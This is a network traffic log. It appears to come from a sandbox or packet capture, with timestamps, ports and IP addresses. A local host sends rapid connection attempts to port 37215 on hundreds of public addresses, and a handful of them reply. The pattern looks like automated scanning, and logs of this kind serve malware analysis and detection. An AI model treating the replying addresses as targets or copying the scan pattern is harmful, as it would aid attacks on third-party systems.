Jan 1, 2024 12:52:02.040549040 CET	37751	37215	192.168.2.13	197.44.138.16
Jan 1, 2024 12:52:02.040550947 CET	37751	37215	192.168.2.13	197.112.5.129
Jan 1, 2024 12:52:02.040560961 CET	37751	37215	192.168.2.13	197.42.170.197
Jan 1, 2024 12:52:02.040563107 CET	37751	37215	192.168.2.13	186.241.219.182
Jan 1, 2024 12:52:02.040564060 CET	37751	37215	192.168.2.13	197.31.199.93
Jan 1, 2024 12:52:02.040564060 CET	37751	37215	192.168.2.13	197.126.144.25
Jan 1, 2024 12:52:02.040582895 CET	37751	37215	192.168.2.13	41.154.192.5
Jan 1, 2024 12:52:02.040582895 CET	37751	37215	192.168.2.13	181.24.149.121
Jan 1, 2024 12:52:02.040586948 CET	37751	37215	192.168.2.13	156.82.159.65
Jan 1, 2024 12:52:02.040586948 CET	37751	37215	192.168.2.13	156.90.62.116
Jan 1, 2024 12:52:02.040589094 CET	37751	37215	192.168.2.13	156.94.75.20
Jan 1, 2024 12:52:02.040591955 CET	37751	37215	192.168.2.13	121.34.34.109
Jan 1, 2024 12:52:02.040596962 CET	37751	37215	192.168.2.13	197.9.171.201
Jan 1, 2024 12:52:02.040597916 CET	37751	37215	192.168.2.13	160.171.220.188
Jan 1, 2024 12:52:02.040599108 CET	37751	37215	192.168.2.13	190.221.86.72
Jan 1, 2024 12:52:02.040601969 CET	37751	37215	192.168.2.13	41.39.137.254
Jan 1, 2024 12:52:02.040602922 CET	37751	37215	192.168.2.13	156.10.146.200
Jan 1, 2024 12:52:02.040602922 CET	37751	37215	192.168.2.13	41.252.132.115
Jan 1, 2024 12:52:02.040606976 CET	37751	37215	192.168.2.13	41.121.141.54
Jan 1, 2024 12:52:02.040606976 CET	37751	37215	192.168.2.13	41.83.32.177
Jan 1, 2024 12:52:02.040610075 CET	37751	37215	192.168.2.13	197.225.242.115
Jan 1, 2024 12:52:02.040610075 CET	37751	37215	192.168.2.13	41.139.25.69
Jan 1, 2024 12:52:02.040621996 CET	37751	37215	192.168.2.13	41.217.145.177
Jan 1, 2024 12:52:02.040621996 CET	37751	37215	192.168.2.13	156.212.127.211
Jan 1, 2024 12:52:02.040628910 CET	37751	37215	192.168.2.13	138.98.167.252
Jan 1, 2024 12:52:02.040628910 CET	37751	37215	192.168.2.13	41.170.193.75
Jan 1, 2024 12:52:02.040632010 CET	37751	37215	192.168.2.13	160.227.136.176
Jan 1, 2024 12:52:02.040637016 CET	37751	37215	192.168.2.13	156.37.43.39
Jan 1, 2024 12:52:02.040656090 CET	37751	37215	192.168.2.13	120.204.74.139
Jan 1, 2024 12:52:02.040656090 CET	37751	37215	192.168.2.13	92.109.54.143
Jan 1, 2024 12:52:02.040656090 CET	37751	37215	192.168.2.13	154.187.52.157
Jan 1, 2024 12:52:02.040659904 CET	37751	37215	192.168.2.13	121.24.178.13
Jan 1, 2024 12:52:02.040659904 CET	37751	37215	192.168.2.13	156.34.94.31
Jan 1, 2024 12:52:02.040663004 CET	37751	37215	192.168.2.13	197.247.51.5
Jan 1, 2024 12:52:02.040672064 CET	37751	37215	192.168.2.13	156.4.131.69
Jan 1, 2024 12:52:02.040673018 CET	37751	37215	192.168.2.13	156.209.90.167
Jan 1, 2024 12:52:02.040674925 CET	37751	37215	192.168.2.13	197.148.18.50
Jan 1, 2024 12:52:02.040693998 CET	37751	37215	192.168.2.13	120.103.206.16
Jan 1, 2024 12:52:02.040694952 CET	37751	37215	192.168.2.13	41.161.230.21
Jan 1, 2024 12:52:02.040694952 CET	37751	37215	192.168.2.13	160.85.180.100
Jan 1, 2024 12:52:02.040694952 CET	37751	37215	192.168.2.13	41.11.25.140
Jan 1, 2024 12:52:02.040702105 CET	37751	37215	192.168.2.13	190.186.182.236
Jan 1, 2024 12:52:02.040704012 CET	37751	37215	192.168.2.13	156.244.98.203
Jan 1, 2024 12:52:02.040705919 CET	37751	37215	192.168.2.13	197.151.112.185
Jan 1, 2024 12:52:02.040705919 CET	37751	37215	192.168.2.13	222.236.228.54
Jan 1, 2024 12:52:02.040707111 CET	37751	37215	192.168.2.13	138.41.139.169
Jan 1, 2024 12:52:02.040707111 CET	37751	37215	192.168.2.13	121.220.237.133
Jan 1, 2024 12:52:02.040707111 CET	37751	37215	192.168.2.13	186.230.202.105
Jan 1, 2024 12:52:02.040709019 CET	37751	37215	192.168.2.13	41.126.64.154
Jan 1, 2024 12:52:02.040725946 CET	37751	37215	192.168.2.13	197.81.54.205
Jan 1, 2024 12:52:02.040736914 CET	37751	37215	192.168.2.13	41.31.195.167
Jan 1, 2024 12:52:02.040736914 CET	37751	37215	192.168.2.13	197.14.236.211
Jan 1, 2024 12:52:02.040744066 CET	37751	37215	192.168.2.13	156.245.75.238
Jan 1, 2024 12:52:02.040746927 CET	37751	37215	192.168.2.13	41.133.198.6
Jan 1, 2024 12:52:02.040747881 CET	37751	37215	192.168.2.13	138.214.124.144
Jan 1, 2024 12:52:02.040764093 CET	37751	37215	192.168.2.13	197.153.121.48
Jan 1, 2024 12:52:02.040766001 CET	37751	37215	192.168.2.13	41.166.228.129
Jan 1, 2024 12:52:02.040769100 CET	37751	37215	192.168.2.13	222.41.218.193
Jan 1, 2024 12:52:02.040781021 CET	37751	37215	192.168.2.13	160.186.103.50
Jan 1, 2024 12:52:02.040786982 CET	37751	37215	192.168.2.13	197.29.0.168
Jan 1, 2024 12:52:02.040786982 CET	37751	37215	192.168.2.13	41.44.191.146
Jan 1, 2024 12:52:02.040791988 CET	37751	37215	192.168.2.13	160.188.95.130
Jan 1, 2024 12:52:02.040797949 CET	37751	37215	192.168.2.13	138.21.40.244
Jan 1, 2024 12:52:02.040808916 CET	37751	37215	192.168.2.13	156.34.83.138
Jan 1, 2024 12:52:02.040812969 CET	37751	37215	192.168.2.13	122.232.185.66
Jan 1, 2024 12:52:02.040816069 CET	37751	37215	192.168.2.13	156.207.216.181
Jan 1, 2024 12:52:02.040819883 CET	37751	37215	192.168.2.13	41.52.189.153
Jan 1, 2024 12:52:02.040826082 CET	37751	37215	192.168.2.13	41.176.212.52
Jan 1, 2024 12:52:02.040846109 CET	37751	37215	192.168.2.13	41.200.64.255
Jan 1, 2024 12:52:02.040853977 CET	37751	37215	192.168.2.13	197.116.14.228
Jan 1, 2024 12:52:02.040853977 CET	37751	37215	192.168.2.13	156.228.78.249
Jan 1, 2024 12:52:02.040858984 CET	37751	37215	192.168.2.13	156.186.100.177
Jan 1, 2024 12:52:02.040863037 CET	37751	37215	192.168.2.13	121.114.53.138
Jan 1, 2024 12:52:02.040863991 CET	37751	37215	192.168.2.13	45.81.168.167
Jan 1, 2024 12:52:02.040863991 CET	37751	37215	192.168.2.13	92.128.246.61
Jan 1, 2024 12:52:02.040863991 CET	37751	37215	192.168.2.13	92.133.155.50
Jan 1, 2024 12:52:02.040865898 CET	37751	37215	192.168.2.13	197.160.217.237
Jan 1, 2024 12:52:02.040865898 CET	37751	37215	192.168.2.13	156.217.152.15
Jan 1, 2024 12:52:02.040865898 CET	37751	37215	192.168.2.13	197.62.32.190
Jan 1, 2024 12:52:02.040868044 CET	37751	37215	192.168.2.13	197.97.72.164
Jan 1, 2024 12:52:02.040872097 CET	37751	37215	192.168.2.13	197.75.121.75
Jan 1, 2024 12:52:02.040874958 CET	37751	37215	192.168.2.13	197.91.220.248
Jan 1, 2024 12:52:02.040880919 CET	37751	37215	192.168.2.13	120.136.110.118
Jan 1, 2024 12:52:02.040884972 CET	37751	37215	192.168.2.13	156.242.213.77
Jan 1, 2024 12:52:02.040887117 CET	37751	37215	192.168.2.13	107.207.16.33
Jan 1, 2024 12:52:02.040887117 CET	37751	37215	192.168.2.13	190.222.45.47
Jan 1, 2024 12:52:02.040887117 CET	37751	37215	192.168.2.13	156.207.3.230
Jan 1, 2024 12:52:02.040890932 CET	37751	37215	192.168.2.13	197.141.89.186
Jan 1, 2024 12:52:02.040890932 CET	37751	37215	192.168.2.13	102.219.100.227
Jan 1, 2024 12:52:02.040894032 CET	37751	37215	192.168.2.13	222.84.207.162
Jan 1, 2024 12:52:02.040894032 CET	37751	37215	192.168.2.13	122.138.127.142
Jan 1, 2024 12:52:02.040894032 CET	37751	37215	192.168.2.13	94.177.132.138
Jan 1, 2024 12:52:02.040894032 CET	37751	37215	192.168.2.13	156.168.65.78
Jan 1, 2024 12:52:02.040900946 CET	37751	37215	192.168.2.13	156.87.205.9
Jan 1, 2024 12:52:02.040901899 CET	37751	37215	192.168.2.13	107.1.91.26
Jan 1, 2024 12:52:02.040903091 CET	37751	37215	192.168.2.13	156.242.71.53
Jan 1, 2024 12:52:02.040915012 CET	37751	37215	192.168.2.13	154.4.154.232
Jan 1, 2024 12:52:02.040915966 CET	37751	37215	192.168.2.13	41.40.74.85
Jan 1, 2024 12:52:02.040915966 CET	37751	37215	192.168.2.13	138.83.81.12
Jan 1, 2024 12:52:02.040920973 CET	37751	37215	192.168.2.13	156.55.228.30
Jan 1, 2024 12:52:02.040921926 CET	37751	37215	192.168.2.13	156.88.58.10
Jan 1, 2024 12:52:02.040925980 CET	37751	37215	192.168.2.13	197.58.29.61
Jan 1, 2024 12:52:02.040925980 CET	37751	37215	192.168.2.13	156.28.22.237
Jan 1, 2024 12:52:02.040927887 CET	37751	37215	192.168.2.13	156.238.196.164
Jan 1, 2024 12:52:02.040931940 CET	37751	37215	192.168.2.13	92.133.139.118
Jan 1, 2024 12:52:02.040935040 CET	37751	37215	192.168.2.13	41.182.217.215
Jan 1, 2024 12:52:02.040935993 CET	37751	37215	192.168.2.13	197.35.42.160
Jan 1, 2024 12:52:02.040942907 CET	37751	37215	192.168.2.13	156.249.135.125
Jan 1, 2024 12:52:02.040944099 CET	37751	37215	192.168.2.13	45.108.212.124
Jan 1, 2024 12:52:02.040946007 CET	37751	37215	192.168.2.13	41.68.222.111
Jan 1, 2024 12:52:02.040957928 CET	37751	37215	192.168.2.13	160.186.55.52
Jan 1, 2024 12:52:02.040957928 CET	37751	37215	192.168.2.13	41.36.248.151
Jan 1, 2024 12:52:02.040958881 CET	37751	37215	192.168.2.13	156.216.205.31
Jan 1, 2024 12:52:02.040972948 CET	37751	37215	192.168.2.13	156.137.110.236
Jan 1, 2024 12:52:02.040991068 CET	37751	37215	192.168.2.13	197.65.171.19
Jan 1, 2024 12:52:02.040997028 CET	37751	37215	192.168.2.13	156.197.108.227
Jan 1, 2024 12:52:02.040997028 CET	37751	37215	192.168.2.13	41.203.108.139
Jan 1, 2024 12:52:02.040997028 CET	37751	37215	192.168.2.13	196.242.112.133
Jan 1, 2024 12:52:02.041001081 CET	37751	37215	192.168.2.13	197.89.7.109
Jan 1, 2024 12:52:02.041002035 CET	37751	37215	192.168.2.13	186.150.48.221
Jan 1, 2024 12:52:02.041001081 CET	37751	37215	192.168.2.13	41.25.97.22
Jan 1, 2024 12:52:02.041003942 CET	37751	37215	192.168.2.13	156.244.47.56
Jan 1, 2024 12:52:02.041009903 CET	37751	37215	192.168.2.13	102.217.178.145
Jan 1, 2024 12:52:02.041009903 CET	37751	37215	192.168.2.13	156.221.48.232
Jan 1, 2024 12:52:02.041014910 CET	37751	37215	192.168.2.13	156.39.144.254
Jan 1, 2024 12:52:02.041014910 CET	37751	37215	192.168.2.13	41.76.73.152
Jan 1, 2024 12:52:02.041014910 CET	37751	37215	192.168.2.13	160.45.62.57
Jan 1, 2024 12:52:02.041014910 CET	37751	37215	192.168.2.13	156.225.144.175
Jan 1, 2024 12:52:02.041021109 CET	37751	37215	192.168.2.13	190.56.192.201
Jan 1, 2024 12:52:02.041023016 CET	37751	37215	192.168.2.13	197.60.213.31
Jan 1, 2024 12:52:02.041037083 CET	37751	37215	192.168.2.13	197.18.66.26
Jan 1, 2024 12:52:02.041037083 CET	37751	37215	192.168.2.13	41.142.241.138
Jan 1, 2024 12:52:02.041037083 CET	37751	37215	192.168.2.13	41.207.210.58
Jan 1, 2024 12:52:02.041038036 CET	37751	37215	192.168.2.13	41.9.179.101
Jan 1, 2024 12:52:02.041038036 CET	37751	37215	192.168.2.13	41.34.241.99
Jan 1, 2024 12:52:02.041044950 CET	37751	37215	192.168.2.13	102.246.158.28
Jan 1, 2024 12:52:02.041064978 CET	37751	37215	192.168.2.13	122.135.133.234
Jan 1, 2024 12:52:02.041066885 CET	37751	37215	192.168.2.13	181.37.107.219
Jan 1, 2024 12:52:02.041066885 CET	37751	37215	192.168.2.13	197.13.138.138
Jan 1, 2024 12:52:02.041068077 CET	37751	37215	192.168.2.13	222.142.60.84
Jan 1, 2024 12:52:02.041068077 CET	37751	37215	192.168.2.13	190.50.94.237
Jan 1, 2024 12:52:02.041068077 CET	37751	37215	192.168.2.13	121.157.255.207
Jan 1, 2024 12:52:02.041068077 CET	37751	37215	192.168.2.13	45.249.20.103
Jan 1, 2024 12:52:02.041076899 CET	37751	37215	192.168.2.13	190.14.157.165
Jan 1, 2024 12:52:02.041076899 CET	37751	37215	192.168.2.13	138.211.180.185
Jan 1, 2024 12:52:02.041080952 CET	37751	37215	192.168.2.13	121.109.191.59
Jan 1, 2024 12:52:02.041093111 CET	37751	37215	192.168.2.13	160.13.137.226
Jan 1, 2024 12:52:02.041095018 CET	37751	37215	192.168.2.13	197.102.154.69
Jan 1, 2024 12:52:02.041099072 CET	37751	37215	192.168.2.13	190.91.20.175
Jan 1, 2024 12:52:02.041100025 CET	37751	37215	192.168.2.13	197.29.12.98
Jan 1, 2024 12:52:02.041102886 CET	37751	37215	192.168.2.13	41.138.175.198
Jan 1, 2024 12:52:02.041105986 CET	37751	37215	192.168.2.13	121.20.198.222
Jan 1, 2024 12:52:02.041115046 CET	37751	37215	192.168.2.13	156.143.58.6
Jan 1, 2024 12:52:02.041122913 CET	37751	37215	192.168.2.13	197.1.193.64
Jan 1, 2024 12:52:02.041124105 CET	37751	37215	192.168.2.13	120.21.48.154
Jan 1, 2024 12:52:02.041125059 CET	37751	37215	192.168.2.13	156.139.223.236
Jan 1, 2024 12:52:02.041131973 CET	37751	37215	192.168.2.13	156.243.48.166
Jan 1, 2024 12:52:02.041132927 CET	37751	37215	192.168.2.13	222.13.11.84
Jan 1, 2024 12:52:02.041145086 CET	37751	37215	192.168.2.13	190.100.139.53
Jan 1, 2024 12:52:02.041148901 CET	37751	37215	192.168.2.13	121.159.215.69
Jan 1, 2024 12:52:02.041152000 CET	37751	37215	192.168.2.13	222.113.53.79
Jan 1, 2024 12:52:02.041152954 CET	37751	37215	192.168.2.13	41.82.58.76
Jan 1, 2024 12:52:02.041160107 CET	37751	37215	192.168.2.13	186.189.0.68
Jan 1, 2024 12:52:02.041171074 CET	37751	37215	192.168.2.13	37.128.234.102
Jan 1, 2024 12:52:02.041173935 CET	37751	37215	192.168.2.13	190.135.52.64
Jan 1, 2024 12:52:02.041174889 CET	37751	37215	192.168.2.13	120.147.197.2
Jan 1, 2024 12:52:02.041174889 CET	37751	37215	192.168.2.13	197.102.48.41
Jan 1, 2024 12:52:02.193907976 CET	37215	37751	154.214.13.36	192.168.2.13
Jan 1, 2024 12:52:02.202074051 CET	37215	37751	107.91.70.53	192.168.2.13
Jan 1, 2024 12:52:02.267482042 CET	37215	37751	45.86.76.93	192.168.2.13
Jan 1, 2024 12:52:02.301954985 CET	37215	37751	37.182.253.195	192.168.2.13
Jan 1, 2024 12:52:02.305196047 CET	37215	37751	156.238.7.86	192.168.2.13
Jan 1, 2024 12:52:02.335956097 CET	37215	37751	181.189.169.66	192.168.2.13
Jan 1, 2024 12:52:02.336128950 CET	37215	37751	190.108.115.231	192.168.2.13
Jan 1, 2024 12:52:02.343488932 CET	37215	37751	222.236.228.54	192.168.2.13
Jan 1, 2024 12:52:02.344773054 CET	37215	37751	197.4.206.17	192.168.2.13
Jan 1, 2024 12:52:02.345774889 CET	37215	37751	121.159.215.69	192.168.2.13
Jan 1, 2024 12:52:02.355262041 CET	37215	37751	197.9.142.67	192.168.2.13
Jan 1, 2024 12:52:02.379317045 CET	37215	37751	154.216.151.207	192.168.2.13
Jan 1, 2024 12:52:02.414622068 CET	37215	37751	102.219.100.227	192.168.2.13
Jan 1, 2024 12:52:02.446413994 CET	37215	37751	122.138.127.142	192.168.2.13
Jan 1, 2024 12:52:02.603424072 CET	37215	37751	41.117.29.91	192.168.2.13
Jan 1, 2024 12:52:03.042331934 CET	37751	37215	192.168.2.13	156.3.74.234
Jan 1, 2024 12:52:03.042336941 CET	37751	37215	192.168.2.13	156.189.192.26
Jan 1, 2024 12:52:03.042341948 CET	37751	37215	192.168.2.13	156.133.179.155
Jan 1, 2024 12:52:03.042346001 CET	37751	37215	192.168.2.13	156.196.87.187
Jan 1, 2024 12:52:03.042347908 CET	37751	37215	192.168.2.13	37.31.213.170
Jan 1, 2024 12:52:03.042372942 CET	37751	37215	192.168.2.13	197.1.140.254
Jan 1, 2024 12:52:03.042372942 CET	37751	37215	192.168.2.13	197.122.76.82
Jan 1, 2024 12:52:03.042373896 CET	37751	37215	192.168.2.13	156.184.200.128
Jan 1, 2024 12:52:03.042377949 CET	37751	37215	192.168.2.13	197.148.52.130
Jan 1, 2024 12:52:03.042385101 CET	37751	37215	192.168.2.13	107.198.132.55
Jan 1, 2024 12:52:03.042385101 CET	37751	37215	192.168.2.13	181.40.117.213
Jan 1, 2024 12:52:03.042385101 CET	37751	37215	192.168.2.13	196.202.17.106
Jan 1, 2024 12:52:03.042398930 CET	37751	37215	192.168.2.13	197.56.241.195
Jan 1, 2024 12:52:03.042407036 CET	37751	37215	192.168.2.13	156.34.84.64
Jan 1, 2024 12:52:03.042407990 CET	37751	37215	192.168.2.13	196.91.178.20
Jan 1, 2024 12:52:03.042407990 CET	37751	37215	192.168.2.13	156.34.215.170
Jan 1, 2024 12:52:03.042417049 CET	37751	37215	192.168.2.13	156.174.17.249
Jan 1, 2024 12:52:03.042419910 CET	37751	37215	192.168.2.13	41.176.53.129
Jan 1, 2024 12:52:03.042422056 CET	37751	37215	192.168.2.13	120.182.43.241
Jan 1, 2024 12:52:03.042422056 CET	37751	37215	192.168.2.13	197.253.10.51
Jan 1, 2024 12:52:03.042422056 CET	37751	37215	192.168.2.13	197.108.29.101
Jan 1, 2024 12:52:03.042422056 CET	37751	37215	192.168.2.13	122.172.220.200
Jan 1, 2024 12:52:03.042423010 CET	37751	37215	192.168.2.13	197.140.195.148
Jan 1, 2024 12:52:03.042423010 CET	37751	37215	192.168.2.13	222.164.189.55
Jan 1, 2024 12:52:03.042423010 CET	37751	37215	192.168.2.13	120.89.220.44
Jan 1, 2024 12:52:03.042423010 CET	37751	37215	192.168.2.13	41.198.2.237
Jan 1, 2024 12:52:03.042428017 CET	37751	37215	192.168.2.13	156.172.49.175
Jan 1, 2024 12:52:03.042428017 CET	37751	37215	192.168.2.13	156.54.30.129
Jan 1, 2024 12:52:03.042431116 CET	37751	37215	192.168.2.13	156.27.117.180
Jan 1, 2024 12:52:03.042438030 CET	37751	37215	192.168.2.13	41.253.254.183
Jan 1, 2024 12:52:03.042438030 CET	37751	37215	192.168.2.13	197.109.138.80
Jan 1, 2024 12:52:03.042438984 CET	37751	37215	192.168.2.13	197.229.54.144
Jan 1, 2024 12:52:03.042438030 CET	37751	37215	192.168.2.13	156.164.142.119
Jan 1, 2024 12:52:03.042444944 CET	37751	37215	192.168.2.13	156.93.236.247
Jan 1, 2024 12:52:03.042444944 CET	37751	37215	192.168.2.13	107.43.200.139
Jan 1, 2024 12:52:03.042444944 CET	37751	37215	192.168.2.13	160.98.180.183
Jan 1, 2024 12:52:03.042444944 CET	37751	37215	192.168.2.13	102.207.44.46
Jan 1, 2024 12:52:03.042445898 CET	37751	37215	192.168.2.13	41.202.55.55
Jan 1, 2024 12:52:03.042445898 CET	37751	37215	192.168.2.13	197.219.228.100
Jan 1, 2024 12:52:03.042453051 CET	37751	37215	192.168.2.13	94.97.181.55
Jan 1, 2024 12:52:03.042464018 CET	37751	37215	192.168.2.13	197.43.222.16
Jan 1, 2024 12:52:03.042464018 CET	37751	37215	192.168.2.13	156.167.239.170
Jan 1, 2024 12:52:03.042464018 CET	37751	37215	192.168.2.13	41.62.151.138
Jan 1, 2024 12:52:03.042464018 CET	37751	37215	192.168.2.13	181.175.248.38
Jan 1, 2024 12:52:03.042468071 CET	37751	37215	192.168.2.13	197.3.243.37
Jan 1, 2024 12:52:03.042468071 CET	37751	37215	192.168.2.13	181.120.162.163
Jan 1, 2024 12:52:03.042469025 CET	37751	37215	192.168.2.13	196.220.145.73
Jan 1, 2024 12:52:03.042474985 CET	37751	37215	192.168.2.13	160.209.235.204
Jan 1, 2024 12:52:03.042480946 CET	37751	37215	192.168.2.13	197.224.170.97
Jan 1, 2024 12:52:03.042488098 CET	37751	37215	192.168.2.13	41.1.55.83
Jan 1, 2024 12:52:03.042488098 CET	37751	37215	192.168.2.13	102.158.61.31
Jan 1, 2024 12:52:03.042491913 CET	37751	37215	192.168.2.13	45.202.212.15
Jan 1, 2024 12:52:03.042499065 CET	37751	37215	192.168.2.13	41.238.67.10
Jan 1, 2024 12:52:03.042505026 CET	37751	37215	192.168.2.13	196.127.220.85
Jan 1, 2024 12:52:03.042505980 CET	37751	37215	192.168.2.13	41.72.49.0
Jan 1, 2024 12:52:03.042505026 CET	37751	37215	192.168.2.13	156.172.39.70
Jan 1, 2024 12:52:03.042522907 CET	37751	37215	192.168.2.13	138.50.51.132
Jan 1, 2024 12:52:03.042524099 CET	37751	37215	192.168.2.13	156.110.172.86
Jan 1, 2024 12:52:03.042524099 CET	37751	37215	192.168.2.13	157.107.179.103
Jan 1, 2024 12:52:03.042531013 CET	37751	37215	192.168.2.13	156.24.240.87
Jan 1, 2024 12:52:03.042531967 CET	37751	37215	192.168.2.13	222.3.37.158
Jan 1, 2024 12:52:03.042531967 CET	37751	37215	192.168.2.13	41.204.226.7
Jan 1, 2024 12:52:03.042551041 CET	37751	37215	192.168.2.13	41.191.255.246
Jan 1, 2024 12:52:03.042553902 CET	37751	37215	192.168.2.13	92.66.27.237
Jan 1, 2024 12:52:03.042551041 CET	37751	37215	192.168.2.13	197.118.206.170
Jan 1, 2024 12:52:03.042558908 CET	37751	37215	192.168.2.13	156.68.168.157
Jan 1, 2024 12:52:03.042558908 CET	37751	37215	192.168.2.13	197.221.99.70
Jan 1, 2024 12:52:03.042571068 CET	37751	37215	192.168.2.13	197.131.201.224
Jan 1, 2024 12:52:03.042572975 CET	37751	37215	192.168.2.13	197.172.46.150
Jan 1, 2024 12:52:03.042574883 CET	37751	37215	192.168.2.13	197.167.161.140
Jan 1, 2024 12:52:03.042588949 CET	37751	37215	192.168.2.13	41.117.75.185
Jan 1, 2024 12:52:03.042588949 CET	37751	37215	192.168.2.13	156.176.184.252
Jan 1, 2024 12:52:03.042591095 CET	37751	37215	192.168.2.13	197.66.203.154
Jan 1, 2024 12:52:03.042592049 CET	37751	37215	192.168.2.13	41.115.54.160
Jan 1, 2024 12:52:03.042597055 CET	37751	37215	192.168.2.13	41.98.44.194
Jan 1, 2024 12:52:03.042602062 CET	37751	37215	192.168.2.13	197.252.16.28
Jan 1, 2024 12:52:03.042602062 CET	37751	37215	192.168.2.13	197.1.43.47
Jan 1, 2024 12:52:03.042603970 CET	37751	37215	192.168.2.13	197.182.254.99
Jan 1, 2024 12:52:03.042612076 CET	37751	37215	192.168.2.13	197.215.30.201
Jan 1, 2024 12:52:03.042617083 CET	37751	37215	192.168.2.13	122.223.149.183
Jan 1, 2024 12:52:03.042624950 CET	37751	37215	192.168.2.13	222.49.23.130
Jan 1, 2024 12:52:03.042627096 CET	37751	37215	192.168.2.13	122.57.95.111
Jan 1, 2024 12:52:03.042633057 CET	37751	37215	192.168.2.13	41.191.231.61
Jan 1, 2024 12:52:03.042649031 CET	37751	37215	192.168.2.13	41.210.208.112
Jan 1, 2024 12:52:03.042649031 CET	37751	37215	192.168.2.13	156.135.7.81
Jan 1, 2024 12:52:03.042650938 CET	37751	37215	192.168.2.13	156.75.118.58
Jan 1, 2024 12:52:03.042650938 CET	37751	37215	192.168.2.13	197.218.144.156
Jan 1, 2024 12:52:03.042665005 CET	37751	37215	192.168.2.13	222.221.31.67
Jan 1, 2024 12:52:03.042670965 CET	37751	37215	192.168.2.13	41.185.179.193
Jan 1, 2024 12:52:03.042670965 CET	37751	37215	192.168.2.13	41.138.36.203
Jan 1, 2024 12:52:03.042674065 CET	37751	37215	192.168.2.13	41.169.28.55
Jan 1, 2024 12:52:03.042674065 CET	37751	37215	192.168.2.13	156.4.211.203
Jan 1, 2024 12:52:03.042679071 CET	37751	37215	192.168.2.13	197.30.238.87
Jan 1, 2024 12:52:03.042679071 CET	37751	37215	192.168.2.13	41.118.247.231
Jan 1, 2024 12:52:03.042679071 CET	37751	37215	192.168.2.13	121.47.178.158
Jan 1, 2024 12:52:03.042680025 CET	37751	37215	192.168.2.13	41.228.41.221
Jan 1, 2024 12:52:03.042682886 CET	37751	37215	192.168.2.13	156.247.114.24
Jan 1, 2024 12:52:03.042684078 CET	37751	37215	192.168.2.13	197.203.246.170
Jan 1, 2024 12:52:03.042694092 CET	37751	37215	192.168.2.13	41.220.191.225
Jan 1, 2024 12:52:03.042700052 CET	37751	37215	192.168.2.13	95.74.121.145
Jan 1, 2024 12:52:03.042702913 CET	37751	37215	192.168.2.13	197.145.44.70
Jan 1, 2024 12:52:03.042712927 CET	37751	37215	192.168.2.13	156.9.86.132
Jan 1, 2024 12:52:03.042715073 CET	37751	37215	192.168.2.13	196.237.147.223
Jan 1, 2024 12:52:03.042715073 CET	37751	37215	192.168.2.13	41.218.167.153
Jan 1, 2024 12:52:03.042717934 CET	37751	37215	192.168.2.13	41.67.49.234
Jan 1, 2024 12:52:03.042721033 CET	37751	37215	192.168.2.13	156.119.142.19
Jan 1, 2024 12:52:03.042726994 CET	37751	37215	192.168.2.13	41.86.15.46
Jan 1, 2024 12:52:03.042726994 CET	37751	37215	192.168.2.13	41.241.81.76
Jan 1, 2024 12:52:03.042742014 CET	37751	37215	192.168.2.13	41.249.56.85
Jan 1, 2024 12:52:03.042742014 CET	37751	37215	192.168.2.13	197.116.216.141
Jan 1, 2024 12:52:03.042745113 CET	37751	37215	192.168.2.13	41.19.81.76
Jan 1, 2024 12:52:03.042749882 CET	37751	37215	192.168.2.13	156.71.159.87
Jan 1, 2024 12:52:03.042749882 CET	37751	37215	192.168.2.13	41.135.50.107
Jan 1, 2024 12:52:03.042752028 CET	37751	37215	192.168.2.13	197.64.82.111
Jan 1, 2024 12:52:03.042767048 CET	37751	37215	192.168.2.13	94.21.90.231
Jan 1, 2024 12:52:03.042767048 CET	37751	37215	192.168.2.13	197.111.109.10
Jan 1, 2024 12:52:03.042767048 CET	37751	37215	192.168.2.13	181.64.38.91
Jan 1, 2024 12:52:03.042771101 CET	37751	37215	192.168.2.13	190.23.126.11
Jan 1, 2024 12:52:03.042778969 CET	37751	37215	192.168.2.13	41.252.126.56
Jan 1, 2024 12:52:03.042785883 CET	37751	37215	192.168.2.13	41.214.29.254
Jan 1, 2024 12:52:03.042792082 CET	37751	37215	192.168.2.13	41.21.39.157
Jan 1, 2024 12:52:03.042797089 CET	37751	37215	192.168.2.13	197.84.115.237
Jan 1, 2024 12:52:03.042797089 CET	37751	37215	192.168.2.13	122.196.15.191
Jan 1, 2024 12:52:03.042809963 CET	37751	37215	192.168.2.13	45.196.237.104
Jan 1, 2024 12:52:03.042814970 CET	37751	37215	192.168.2.13	41.57.114.84
Jan 1, 2024 12:52:03.042814970 CET	37751	37215	192.168.2.13	156.202.139.119
Jan 1, 2024 12:52:03.042814970 CET	37751	37215	192.168.2.13	197.152.88.10
Jan 1, 2024 12:52:03.042815924 CET	37751	37215	192.168.2.13	120.167.67.78
Jan 1, 2024 12:52:03.042814970 CET	37751	37215	192.168.2.13	197.42.169.154
Jan 1, 2024 12:52:03.042814970 CET	37751	37215	192.168.2.13	156.213.207.124
Jan 1, 2024 12:52:03.042819023 CET	37751	37215	192.168.2.13	121.45.32.202
Jan 1, 2024 12:52:03.042831898 CET	37751	37215	192.168.2.13	95.60.40.19
Jan 1, 2024 12:52:03.042836905 CET	37751	37215	192.168.2.13	160.2.134.206
Jan 1, 2024 12:52:03.042836905 CET	37751	37215	192.168.2.13	197.216.44.220
Jan 1, 2024 12:52:03.042839050 CET	37751	37215	192.168.2.13	107.234.80.21
Jan 1, 2024 12:52:03.042841911 CET	37751	37215	192.168.2.13	156.245.187.243
Jan 1, 2024 12:52:03.042843103 CET	37751	37215	192.168.2.13	92.129.110.93
Jan 1, 2024 12:52:03.042850971 CET	37751	37215	192.168.2.13	156.114.210.115
Jan 1, 2024 12:52:03.042851925 CET	37751	37215	192.168.2.13	156.188.127.66
Jan 1, 2024 12:52:03.042851925 CET	37751	37215	192.168.2.13	156.234.246.144
Jan 1, 2024 12:52:03.042855024 CET	37751	37215	192.168.2.13	154.27.202.241
Jan 1, 2024 12:52:03.042855024 CET	37751	37215	192.168.2.13	156.96.139.155
Jan 1, 2024 12:52:03.042856932 CET	37751	37215	192.168.2.13	45.157.76.138
Jan 1, 2024 12:52:03.042859077 CET	37751	37215	192.168.2.13	190.209.118.225
Jan 1, 2024 12:52:03.042864084 CET	37751	37215	192.168.2.13	197.250.104.12
Jan 1, 2024 12:52:03.042865038 CET	37751	37215	192.168.2.13	41.99.240.170
Jan 1, 2024 12:52:03.042865038 CET	37751	37215	192.168.2.13	138.187.125.200
Jan 1, 2024 12:52:03.042875051 CET	37751	37215	192.168.2.13	156.202.241.108
Jan 1, 2024 12:52:03.042884111 CET	37751	37215	192.168.2.13	41.17.98.63
Jan 1, 2024 12:52:03.042884111 CET	37751	37215	192.168.2.13	197.101.98.16
Jan 1, 2024 12:52:03.042891026 CET	37751	37215	192.168.2.13	41.176.163.103
